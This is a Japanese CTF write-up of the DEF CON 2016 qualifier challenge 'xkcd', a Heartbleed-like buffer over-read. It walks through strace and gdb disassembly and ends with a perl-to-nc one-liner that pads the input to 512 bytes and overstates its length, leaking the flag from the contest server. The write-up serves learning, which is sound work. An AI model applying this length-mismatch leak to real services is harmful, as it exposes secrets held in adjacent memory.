DEF CON CTF 2016 writeup
DEF CON CTF 2016 writeup
去年は 0 完を達成した DEF CON.
今年は 1 完以上を目指してなんとか達成できたので,writeup を書くことにする.
xkcd
64 bit バイナリ.おととし話題になった openssl の Heartbleed が元ネタっぽいらしい.
なんか 4 コマ的なものがチームのチャットに貼られてた.
xkcd: Heartbleed Explanation
とりあえずローカルで動かしてみる.
$ ./xkcd Could not open the flag.
どうやらフラグファイルがないと起動できらしい.
strace を使ってシステムコールをみてみる.
$ strace ./xkcd execve("./xkcd", ["./xkcd"], [/* 24 vars */]) = 0 uname({sys="Linux", node="centos6-x86_64.lab.yharima.club", ...}) = 0 brk(0) = 0x1cc8000 brk(0x1cc91c0) = 0x1cc91c0 arch_prctl(ARCH_SET_FS, 0x1cc8880) = 0 readlink("/proc/self/exe", "/home/yuta1024/DEFCON/xkcd", 4096) = 26 brk(0x1cea1c0) = 0x1cea1c0 brk(0x1ceb000) = 0x1ceb000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("flag", O_RDONLY) = -1 ENOENT (No such file or directory) write(1, "Could not open the flag.", 24Could not open the flag.) = 24 write(1, "\n", 1 ) = 1 exit_group(-1) = ? +++ exited with 255 +++
flag
ファイルがあれば良いらしいのでとりあえず適当に yharima
とか書いて置いておく.
もう一度起動してみる.
$ ./xkcd A MALFORMED REQUEST
適当に A
と入力するとリクエストが正しくないらしい.
ここまでくるとどうしようもないので gdb で動かしながらどのような入力を取ればいいかを追っていく.
0x0000000000400fb9 <+91>: mov esi,0x487de4 0x0000000000400fbe <+96>: mov edi,0x487de6 0x0000000000400fc3 <+101>: call 0x407d80 <fopen64> 0x0000000000400fc8 <+106>: mov QWORD PTR [rbp-0x18],rax 0x0000000000400fcc <+110>: cmp QWORD PTR [rbp-0x18],0x0 0x0000000000400fd1 <+115>: jne 0x400fe7 <main+137> 0x0000000000400fd3 <+117>: mov edi,0x487deb 0x0000000000400fd8 <+122>: call 0x408260 <puts> 0x0000000000400fdd <+127>: mov eax,0xffffffff 0x0000000000400fe2 <+132>: jmp 0x401177 <main+537> 0x0000000000400fe7 <+137>: mov rax,QWORD PTR [rbp-0x18] 0x0000000000400feb <+141>: mov rcx,rax 0x0000000000400fee <+144>: mov edx,0x100 0x0000000000400ff3 <+149>: mov esi,0x1 0x0000000000400ff8 <+154>: mov edi,0x6b7540 0x0000000000400ffd <+159>: call 0x407d90 <fread>
flag
を open している部分.
0x0000000000400fd1
で open できたら 0x0000000000400fe7
に飛んでいて,
open に失敗したら 0x487deb = "Could not open the flag."
を出力して終了している.
0x0000000000400fe7
の飛び先では,フラグの内容を 0x6b7540
に読み込んでいる.
その後,fgetln
があって,ユーザの入力を取っていて,続いて strtok
を呼んでいる.
0x000000000040101f <+193>: mov QWORD PTR [rbp-0x20],rax 0x0000000000401023 <+197>: mov rax,QWORD PTR [rbp-0x20] 0x0000000000401027 <+201>: mov esi,0x487e04 0x000000000040102c <+206>: mov rdi,rax 0x000000000040102f <+209>: mov eax,0x0 0x0000000000401034 <+214>: call 0x4196a0 <strtok> 0x0000000000401039 <+219>: cdqe 0x000000000040103b <+221>: mov QWORD PTR [rbp-0x28],rax 0x000000000040103f <+225>: mov rax,QWORD PTR [rbp-0x28] 0x0000000000401043 <+229>: mov esi,0x487e06 0x0000000000401048 <+234>: mov rdi,rax 0x000000000040104b <+237>: call 0x4002d0 0x0000000000401050 <+242>: test eax,eax 0x0000000000401052 <+244>: je 0x401068 <main+266>
入力文字列を 0x487e04 = "?"
を使って token を分割していて,
分割して結果を 0x487e06 = "SERVER, ARE YOU STILL THERE"
と比較していて一致しないなら終了する,
という感じっぽい( 0x4002d0
を詳しく読んでないが動作的にはそうっぽかった).
ということは,入力としてはこの時点で SERVER, ARE YOU STILL THERE?
が必要.
同様に同じような処理が続いて,文字列を組み立てていくと,
SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (6 LETTERS)
的な文章になる.
# REPLY
と "
の間にスペースがなくて随分はまっていたがチームメンバーが気づいてくれた.
これだけでは,何も意味がなくてどうやって flag を取得するか,という部分で随分悩んだ.
4コマのように,6 LETTERS
としている部分を "
で囲んだ文字列より長いものを入れてみても,
$ ./xkcd SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (100 LETTERS) NICE TRY
となり,終了してしまいリークできない.
実際に逆汗結果を読んでみると,
0x0000000000401145 <+487>: mov edi,0x6b7340 0x000000000040114a <+492>: call 0x417280 <strlen> 0x000000000040114f <+497>: cmp rbx,rax 0x0000000000401152 <+500>: jbe 0x401168 <main+522> 0x0000000000401154 <+502>: mov edi,0x487e54 0x0000000000401159 <+507>: call 0x408260 <puts> 0x000000000040115e <+512>: mov edi,0xffffffff 0x0000000000401163 <+517>: call 0x406c40 <exit> 0x0000000000401168 <+522>: mov edi,0x6b7340 0x000000000040116d <+527>: call 0x408260 <puts>
となっていて 0x6b7340
に "
で囲まれた部分の文字列が memcpy
されていて,
その文字列の長さを strlen
していて, rbx
と比較し,より小さく or 等しければ,
その文字列を表示して再度入力待ちし,そうでなければ NICE TRY
を出力して終了する.
ここでの rbx
は, %d LETTERS"
で sscanf した結果が入ってる.
つまり, (100 LETTERS)
のときは, rbx = 100
となっている.
全然わからん,となっていたがなんで memcpy しているんだろう? と思ってそのあたりを読み進めていると,
0x00000000004010ba <+348>: call 0x4196a0 <strtok> 0x00000000004010bf <+353>: cdqe 0x00000000004010c1 <+355>: mov QWORD PTR [rbp-0x28],rax 0x00000000004010c5 <+359>: mov rax,QWORD PTR [rbp-0x28] 0x00000000004010c9 <+363>: mov rdi,rax 0x00000000004010cc <+366>: call 0x417280 <strlen> 0x00000000004010d1 <+371>: mov rdx,rax 0x00000000004010d4 <+374>: mov rax,QWORD PTR [rbp-0x28] 0x00000000004010d8 <+378>: mov rsi,rax 0x00000000004010db <+381>: mov edi,0x6b7340 0x00000000004010e0 <+386>: call 0x41fce0 <memcpy>
"
で囲まれている範囲の文字をとってきて, strlen で長さを調べ,0x6b7340
に memcpy している.
0x7b7340
ってなんぞ? っとなって readelf -s
してみた.
$ readelf -s ./xkcd | grep 6b7340 1807: 00000000006b7340 768 OBJECT GLOBAL DEFAULT 24 globals
グローバル変数っぽい.なんか同じようなアドレスをどっかでみたような…?
0x0000000000400fb9 <+91>: mov esi,0x487de4 0x0000000000400fbe <+96>: mov edi,0x487de6 0x0000000000400fc3 <+101>: call 0x407d80 <fopen64> 0x0000000000400fc8 <+106>: mov QWORD PTR [rbp-0x18],rax 0x0000000000400fcc <+110>: cmp QWORD PTR [rbp-0x18],0x0 0x0000000000400fd1 <+115>: jne 0x400fe7 <main+137> 0x0000000000400fd3 <+117>: mov edi,0x487deb 0x0000000000400fd8 <+122>: call 0x408260 <puts> 0x0000000000400fdd <+127>: mov eax,0xffffffff 0x0000000000400fe2 <+132>: jmp 0x401177 <main+537> 0x0000000000400fe7 <+137>: mov rax,QWORD PTR [rbp-0x18] 0x0000000000400feb <+141>: mov rcx,rax 0x0000000000400fee <+144>: mov edx,0x100 0x0000000000400ff3 <+149>: mov esi,0x1 0x0000000000400ff8 <+154>: mov edi,0x6b7540 0x0000000000400ffd <+159>: call 0x407d90 <fread>
フラグが入ってるのが, 0x6b7540
で, memcpy で入力した文字列が入ってるのが 0x6b7340
.
memcpy は末尾に \0
を付与しないので, 512 byte 書き込んだらフラグと文字が繋がるのでは?
# ボケてたのかチームチャットでは 320 byte とかいってしまい, 512 byte だろ,って突っ込まれたw
というわけでローカルで "
でくくられている範囲に 512 文字いれて,
LETTERS の部分は 自分が書いたフラグの長さである 7文字たして 519 文字としてみると…,
$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (519 LETTERS)"' | ./xkcd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyharima セグメンテーション違反です
キター!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
サーバに対して適当に文字数をいじりながらやってみると…
$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (540 LETTERS)"' | nc xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me 1354 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAThe flag is: bl33ding h34rt5
というわけで, bl33ding h34rt5
がフラグとして取れた!
上記のような考察を書いて 320byte だとかいって検証している間に,
メンバーに先にフラグを奪取されたのはいい思い出.